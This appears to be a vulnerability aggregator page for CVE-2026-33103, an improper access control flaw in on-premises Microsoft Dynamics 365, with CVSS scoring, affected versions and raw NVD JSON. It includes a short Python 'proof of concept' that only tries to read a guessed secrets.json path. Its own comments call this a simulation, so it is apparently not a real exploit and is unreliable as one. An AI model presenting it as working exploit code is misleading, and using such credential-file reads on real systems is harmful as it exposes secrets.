Security Vulnerability Report
中文
CVE-2026-33103 CVSS 5.5 MEDIUM

CVE-2026-33103

Published: 2026-04-14 18:17:33
Last Modified: 2026-04-28 12:15:28

Description

Improper access control in Microsoft Dynamics 365 (on-premises) allows an authorized attacker to disclose information locally.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:microsoft:dynamics_365:*:*:*:*:on-premises:*:*:* - VULNERABLE
Microsoft Dynamics 365 (on-premises) (受影响版本请参考官方公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-33103 # Description: Local Information Disclosure in Microsoft Dynamics 365 (on-premises) # This script demonstrates how a low-privileged user might access sensitive configuration data # due to improper access controls. import os import sys def check_vulnerability(): # Simulate accessing a protected configuration file # In a real scenario, this path would be specific to the Dynamics 365 installation target_path = "C:\\Program Files\\Microsoft Dynamics 365\\Config\\secrets.json" print(f"[*] Attempting to read sensitive file: {target_path}") if os.path.exists(target_path): try: # Attempt to read the file with current user permissions with open(target_path, 'r') as f: data = f.read() print("[+] Vulnerability confirmed! Sensitive data disclosed:") print(data[:100] + "...") # Print partial data return True except PermissionError: print("[-] Access denied. System might be patched or permissions are correct.") return False except Exception as e: print(f"[!] Error: {e}") return False else: print("[-] Target path not found. Please verify the installation path.") return False if __name__ == "__main__": check_vulnerability()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33103", "sourceIdentifier": "[email protected]", "published": "2026-04-14T18:17:33.000", "lastModified": "2026-04-28T12:15:28.280", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper access control in Microsoft Dynamics 365 (on-premises) allows an authorized attacker to disclose information locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:dynamics_365:*:*:*:*:on-premises:*:*:*", "versionStartIncluding": "9.0", "versionEndExcluding": "9.1.44.15", "matchCriteriaId": "CB8564B1-332E-4880-916B-7064D5DF8DEB"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33103", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}